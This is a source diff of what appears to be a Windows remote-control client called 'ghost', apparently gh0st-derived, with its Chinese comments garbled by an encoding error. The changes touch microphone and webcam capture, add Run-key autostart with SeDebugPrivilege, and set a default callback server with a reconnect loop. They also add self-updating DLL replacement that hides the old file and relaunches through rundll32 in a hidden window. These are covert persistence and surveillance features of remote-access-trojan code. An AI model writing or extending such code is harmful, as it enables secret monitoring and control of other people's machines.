CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
printf("new CAudioManager %x\n", this);
|
||||
Mprintf("new CAudioManager %p\n", this);
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
m_AudioObject = NULL;
|
||||
@@ -33,8 +33,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szPacket = NULL;
|
||||
|
||||
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
|
||||
(LPVOID)this, 0, NULL);
|
||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
@@ -65,7 +64,7 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
|
||||
Sleep(50);
|
||||
}
|
||||
|
||||
cout<<"CAudioManager WorkThread end\n";
|
||||
Mprintf("CAudioManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -110,7 +109,7 @@ CAudioManager::~CAudioManager()
|
||||
delete [] szPacket;
|
||||
szPacket = NULL;
|
||||
}
|
||||
printf("~CAudioManager %x\n", this);
|
||||
Mprintf("~CAudioManager %p\n", this);
|
||||
}
|
||||
|
||||
//USB
|
||||
|
||||
@@ -18,11 +18,11 @@ class CAudioManager : public CManager
|
||||
public:
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
BOOL Initialize();
|
||||
CAudioManager(IOCPClient* ClientObject, int n);
|
||||
CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr);
|
||||
virtual ~CAudioManager();
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
static DWORD WorkThread(LPVOID lParam);
|
||||
static DWORD WINAPI WorkThread(LPVOID lParam);
|
||||
BOOL SendRecordBuffer();
|
||||
|
||||
CAudio* m_AudioObject;
|
||||
|
||||
@@ -30,102 +30,101 @@ CBuffer::~CBuffer(void)
|
||||
|
||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength > GetBufferMaxLength())
|
||||
if (ulLength > m_ulMaxLength)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
if (ulLength > GetBufferLength())
|
||||
ULONG len = m_Ptr - m_Base;
|
||||
if (ulLength > len)
|
||||
{
|
||||
ulLength = GetBufferLength();
|
||||
ulLength = len;
|
||||
}
|
||||
|
||||
if (ulLength)
|
||||
{
|
||||
CopyMemory(Buffer,m_Base,ulLength);
|
||||
|
||||
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
|
||||
MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength);
|
||||
m_Ptr -= ulLength;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(GetBufferLength());
|
||||
DeAllocateBuffer(m_Ptr - m_Base);
|
||||
|
||||
return ulLength;
|
||||
}
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>С
|
||||
VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < GetBufferLength())
|
||||
return 0;
|
||||
int len = m_Ptr - m_Base;
|
||||
if (ulLength < len)
|
||||
return;
|
||||
|
||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
|
||||
if (GetBufferMaxLength() <= ulNewMaxLength)
|
||||
if (m_ulMaxLength <= ulNewMaxLength)
|
||||
{
|
||||
return 0;
|
||||
return;
|
||||
}
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
return;
|
||||
|
||||
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
||||
CopyMemory(NewBase,m_Base,ulv1);
|
||||
CopyMemory(NewBase,m_Base,len);
|
||||
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
|
||||
m_Base = NewBase;
|
||||
|
||||
m_Ptr = m_Base + ulv1;
|
||||
m_Ptr = m_Base + len;
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
|
||||
return m_ulMaxLength;
|
||||
}
|
||||
|
||||
|
||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
|
||||
if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == FALSE)
|
||||
{
|
||||
return false;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
|
||||
|
||||
CopyMemory(m_Ptr, Buffer, ulLength);
|
||||
m_Ptr+=ulLength;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>泤<EFBFBD>Ȳ<EFBFBD><C8B2><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < GetBufferMaxLength())
|
||||
return 0;
|
||||
if (ulLength < m_ulMaxLength)
|
||||
return TRUE;
|
||||
|
||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
{
|
||||
return -1;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
CopyMemory(NewBase,m_Base,ulv1);
|
||||
ULONG len = m_Ptr - m_Base;
|
||||
CopyMemory(NewBase, m_Base, len);
|
||||
|
||||
if (m_Base)
|
||||
{
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
}
|
||||
m_Base = NewBase;
|
||||
m_Ptr = m_Base + ulv1; //1024
|
||||
m_Ptr = m_Base + len;
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength; //2048
|
||||
|
||||
return m_ulMaxLength;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
VOID CBuffer::ClearBuffer()
|
||||
{
|
||||
m_Ptr = m_Base;
|
||||
@@ -135,27 +134,15 @@ VOID CBuffer::ClearBuffer()
|
||||
|
||||
|
||||
|
||||
ULONG CBuffer::GetBufferLength() const //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
ULONG CBuffer::GetBufferLength() const
|
||||
{
|
||||
if (m_Base == NULL)
|
||||
return 0;
|
||||
|
||||
return (ULONG)m_Ptr - (ULONG)m_Base;
|
||||
return m_Ptr - m_Base;
|
||||
}
|
||||
|
||||
|
||||
ULONG CBuffer::GetBufferMaxLength() const
|
||||
{
|
||||
return m_ulMaxLength;
|
||||
}
|
||||
|
||||
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
||||
{
|
||||
if (m_Base==NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
if (ulPos>=GetBufferLength())
|
||||
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -8,12 +8,11 @@ public:
|
||||
CBuffer(void);
|
||||
~CBuffer(void);
|
||||
|
||||
ULONG GetBufferMaxLength() const;
|
||||
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
ULONG DeAllocateBuffer(ULONG ulLength);
|
||||
VOID DeAllocateBuffer(ULONG ulLength);
|
||||
VOID ClearBuffer();
|
||||
ULONG ReAllocateBuffer(ULONG ulLength);
|
||||
BOOL ReAllocateBuffer(ULONG ulLength);
|
||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
PBYTE GetBuffer(ULONG ulPos=0) const;
|
||||
|
||||
|
||||
@@ -12,15 +12,18 @@ CSampleGrabberCB mCB;
|
||||
|
||||
CCaptureVideo::CCaptureVideo()
|
||||
{
|
||||
if(FAILED(CoInitialize(NULL)))
|
||||
{
|
||||
return;
|
||||
}
|
||||
m_pCapture = NULL;
|
||||
m_pGB = NULL;
|
||||
m_pMC = NULL;
|
||||
m_pVW = NULL;
|
||||
m_pBF = NULL;
|
||||
m_pGrabber = NULL;
|
||||
m_bExit = FALSE;
|
||||
m_hWnd = NULL;
|
||||
if (FAILED(CoInitialize(NULL)))
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
CCaptureVideo::~CCaptureVideo()
|
||||
@@ -43,7 +46,7 @@ CCaptureVideo::~CCaptureVideo()
|
||||
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
printf("CCaptureVideo call Open\n");
|
||||
Mprintf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_OK;
|
||||
do
|
||||
{
|
||||
@@ -120,7 +123,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
break;
|
||||
} while (false);
|
||||
|
||||
printf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
|
||||
return hResult;
|
||||
}
|
||||
|
||||
@@ -13,12 +13,59 @@
|
||||
#include <strmif.h>
|
||||
#include <CONTROL.H>
|
||||
#include <ATLBASE.H>
|
||||
#include <qedit.h>
|
||||
#include <amvideo.h>
|
||||
#include <DShow.h>
|
||||
|
||||
#pragma comment(lib,"Strmiids.lib")
|
||||
|
||||
EXTERN_C const IID IID_ISampleGrabberCB;
|
||||
|
||||
EXTERN_C const CLSID CLSID_SampleGrabber;
|
||||
|
||||
EXTERN_C const IID IID_ISampleGrabber;
|
||||
|
||||
struct ISampleGrabberCB : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE SampleCB(
|
||||
double SampleTime,
|
||||
IMediaSample * pSample) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE BufferCB(
|
||||
double SampleTime,
|
||||
BYTE* pBuffer,
|
||||
long BufferLen) = 0;
|
||||
|
||||
};
|
||||
|
||||
struct ISampleGrabber : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE SetOneShot(
|
||||
BOOL OneShot) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetMediaType(
|
||||
const AM_MEDIA_TYPE* pType) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType(
|
||||
AM_MEDIA_TYPE* pType) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetBufferSamples(
|
||||
BOOL BufferThem) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer(
|
||||
/* [out][in] */ long* pBufferSize,
|
||||
/* [out] */ long* pBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetCurrentSample(
|
||||
/* [retval][out] */ IMediaSample** ppSample) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetCallback(
|
||||
ISampleGrabberCB* pCallback,
|
||||
long WhichMethodToCallback) = 0;
|
||||
|
||||
};
|
||||
|
||||
enum{
|
||||
CMD_CAN_COPY,
|
||||
CMD_CAN_SEND
|
||||
|
||||
@@ -7,12 +7,26 @@
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
using namespace std;
|
||||
|
||||
char g_szServerIP[MAX_PATH] = {0};
|
||||
unsigned short g_uPort = 0;
|
||||
bool g_bExit = false;
|
||||
bool g_bThreadExit = false;
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", 6543, CLIENT_TYPE_ONE};
|
||||
|
||||
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL g_bExit = 0;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||
BOOL g_bThreadExit = 0;
|
||||
|
||||
HINSTANCE g_hInstance = NULL;
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
@@ -20,6 +34,60 @@ DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
enum { E_RUN, E_STOP } status;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
|
||||
|
||||
if (hRet)
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
||||
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
*/
|
||||
BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
||||
{
|
||||
DebugPrivilege();
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||
|
||||
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HKEY hKey = NULL;
|
||||
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
if (lRet != ERROR_SUCCESS)
|
||||
return FALSE;
|
||||
|
||||
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||
|
||||
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
||||
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
||||
@@ -39,12 +107,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
status = E_RUN;
|
||||
if (argc < 3)
|
||||
if (!SetSelfStart(argv[0], REG_NAME))
|
||||
{
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||
return -1;
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
}
|
||||
|
||||
status = E_RUN;
|
||||
|
||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||||
if (ERROR_ALREADY_EXISTS == GetLastError())
|
||||
{
|
||||
@@ -53,17 +122,33 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
const char *szServerIP = argv[1];
|
||||
int uPort = atoi(argv[2]);
|
||||
printf("[remote] %s:%d\n", szServerIP, uPort);
|
||||
if (argc>=3)
|
||||
{
|
||||
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
|
||||
}
|
||||
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||
Sleep(3000);
|
||||
return -1;
|
||||
}
|
||||
Mprintf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
|
||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||
g_uPort = uPort;
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45>
|
||||
g_hInstance = GetModuleHandle(NULL);
|
||||
if (g_hInstance != NULL) {
|
||||
Mprintf("HINSTANCE: %p\n", g_hInstance);
|
||||
} else {
|
||||
Mprintf("Failed to get HINSTANCE!\n");
|
||||
}
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||
do{
|
||||
g_bExit = 0;
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}while (E_RUN == status && 1 != g_bExit);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
status = E_STOP;
|
||||
|
||||
CloseHandle(hMutex);
|
||||
@@ -94,12 +179,19 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||
g_uPort = uPort;
|
||||
g_bExit = FALSE;
|
||||
if (strlen(szServerIP)>0 && uPort>0)
|
||||
{
|
||||
g_SETTINGS.SetServer(szServerIP, uPort);
|
||||
}
|
||||
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL);
|
||||
if (hThread == NULL) {
|
||||
return;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
WaitForSingleObject(hThread, 200);
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
#else
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
#endif
|
||||
@@ -109,26 +201,126 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
||||
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||||
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||
|
||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
|
||||
|
||||
// copy from: SimpleRemoter\client\test.cpp
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
|
||||
void RunNewDll(const char* cmdLine) {
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
*(p + 1) = 0;
|
||||
std::string folder = path;
|
||||
std::string oldFile = folder + "ServerDll.old";
|
||||
std::string newFile = folder + "ServerDll.new";
|
||||
strcpy(p + 1, "ServerDll.dll");
|
||||
BOOL ok = TRUE;
|
||||
if (_access(newFile.c_str(), 0) != -1) {
|
||||
if (_access(oldFile.c_str(), 0) != -1)
|
||||
{
|
||||
if (!DeleteFileA(oldFile.c_str()))
|
||||
{
|
||||
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
||||
ok = FALSE;
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
if (_access(path, 0) != -1)
|
||||
{
|
||||
ok = FALSE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||
{
|
||||
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
MoveFileA(oldFile.c_str(), path);// recover
|
||||
}
|
||||
else if (ok) {
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
char cmd[1024];
|
||||
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
|
||||
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
|
||||
}
|
||||
|
||||
/* <20><><EFBFBD>пͻ<D0BF><CDBB>˵ĺ<CBB5><C4BA>Ĵ<EFBFBD><C4B4><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD>嵼<EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <20><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>.
|
||||
HWND hwnd: <20><><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>Ϊ NULL<4C><4C><EFBFBD><EFBFBD>
|
||||
HINSTANCE hinst: DLL <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPSTR lpszCmdLine: <20><><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nCmdShow: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<D7B4><CCAC>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
|
||||
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
|
||||
*/
|
||||
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
|
||||
char message[256] = { 0 };
|
||||
if (strlen(lpszCmdLine) != 0) {
|
||||
strcpy_s(message, lpszCmdLine);
|
||||
}else if (g_SETTINGS.IsValid())
|
||||
{
|
||||
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
}
|
||||
|
||||
std::istringstream stream(message);
|
||||
std::string item;
|
||||
